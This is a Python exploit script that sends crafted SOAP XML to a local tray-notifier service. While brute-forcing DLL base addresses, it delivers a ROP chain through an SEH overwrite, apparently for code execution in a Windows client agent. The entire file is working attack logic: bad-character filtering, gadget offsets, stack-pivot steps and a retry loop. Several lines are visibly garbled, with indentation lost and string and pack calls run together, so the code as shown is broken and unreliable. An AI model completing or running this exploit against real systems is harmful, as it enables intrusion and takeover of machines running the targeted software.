# -*- coding: utf8 -*-
from __future__ import print_function
import requests
import datetime
import time
import sys
#from pwn import p32
from struct import pack, unpack
badchars="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x22\x26\x27"
requests.adapters.DEFAULT_RETRIES = 1
headers = {'User-Agent': 'gSOAP/2.7', 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '', 'Connection': 'close'}
def isAlive():
try:
x = requests.post('http://localhost:11001/traynotifierservice', data = """
w00tw00t
""", headers = headers, timeout=5)
if "Well-formedness violation" in x.text:
return True
except:
pass
return False
def p32(dword):
return pack("http://localhost:11000/clientagent7416w00tw00tXXXXXXXXXXXX0false0"""
trailer = """"""
XXXX = 0x58585858
bases = [0x6C00, 0x6B00, 0x6A00, 0x6D00, 0x6E00, 0x6F00]
offsets = [0x955D5, 0x1A64B, 0xAB834, 0x8F757, 0x8E164, 0x8F7C0, 0x7B6C5, 0x48CF1, 0xA82F9, 0xC74A8, 0x74536, 0x6FDBA, 0x48CEF, 0x8B632, 0x7EC4B, 0x942E5, 0xE1D6, 0xAA482, 0x756EC, 0xA98E9, 0x6FDF4, 0xE8250, 0x76AE7, 0xD9C32]
for base in bases:
for dllbase in range(base, base+0x100):
dllbase = (dllbase*0x10000)
print("[%s] Trying addr 0x%x" % (str(datetime.datetime.now()), dllbase), end='')
for offset in offsets:
gadget = dllbase+offset
for bad in badchars:
if bad in p32(gadget):
print(' - Bad chars detected. Skipping')
break
else:
continue
break
else:
ropchain = [
# step 4
dllbase+0x955D5, # add esp, 14 ; ret
# step 1: we start here with EBP-4 pointing to somewhere in our payload so we load it to ECX in order to start reference values off it
dllbase+0x1A64B, # mov ecx, [ebp-4] ; mov edx, [ecx+10] ; call edx => EDX points to step 2
XXXX,
# step 3
dllbase+0xAB834, # push ecx ; pop esp ; mov eax, edx ; sub eax, [ecx+0x64] ; mov [ecx+0x64], edx ; ret => return to step 4
# step 2
dllbase+0x8F757, # jmp [ecx+0x0C] => goes to step 3
XXXX,
# step 5
dllbase+0x8E164, # pop eax ; retn 0x0000
0xFFFEBD7C, # offset to add eventually to EBP (-0x0001420C - 0x3A - 2 - 0x3C)
dllbase+0x8F7C0, # neg eax ; ret
# EAX = 0x1420C+0x3A+2+0x3A
dllbase+0x7B6C5, # add ebp, eax ; xchg eax, ebp ; mov bl, 0xF9 ; call [eax-0x3A]
dllbase+0x48CF1, # pop ebx ; ret
0xffffffff,
dllbase+0xA82F9, # inc ebx ; ret
# EBX = 0
dllbase+0xC74A8, # push eax ; pop esi ; ret
dllbase+0x74536, # add ebx, eax ; xor al, al ; ret
dllbase+0x6FDBA, # mov eax, esi ; pop esi ; ret
XXXX,
# EBX = top of SC
#0x6a52346d, # mov edi, ebx ; dec ecx ; ret
#0x6a513b9a, # inc ecx ; ret
dllbase+0x48CEF, # mov esp, ebx ; pop ebx ; ret
# something goes wrong here and first DWORD off the next ropchain is poped but it's OK, I'll just replace the next dummy XXXX with that DWORD and comment it in the next ropchain
XXXX,
#0x6a4db632, # sub eax, 0x02 ; pop ebp ; ret
]
SEH_rop = b""
for a in ropchain:
SEH_rop += pack('x%s>" % (payload, payload)) + trailer
try:
while True:
if isAlive():
x = requests.post('http://localhost:11001/traynotifierservice', data = data, headers = headers, timeout=5)
if "Well-formedness violation" in x.text:
print(" - Looks like we hit a bad char in the ROP gadgets")
break
except requests.exceptions.Timeout as e:
print(' - Timed out')
pass
except requests.exceptions.RequestException as e:
ex_type, ex_value, ex_traceback = sys.exc_info()
print(' - %s' % ex_value)
if "No status line received - the server has closed the connection" in str(ex_value):
time.sleep(1)
else:
time.sleep(5)
pass
print("[-] Exhausted - looks like the dllbase + one of the gadgets have bad chars")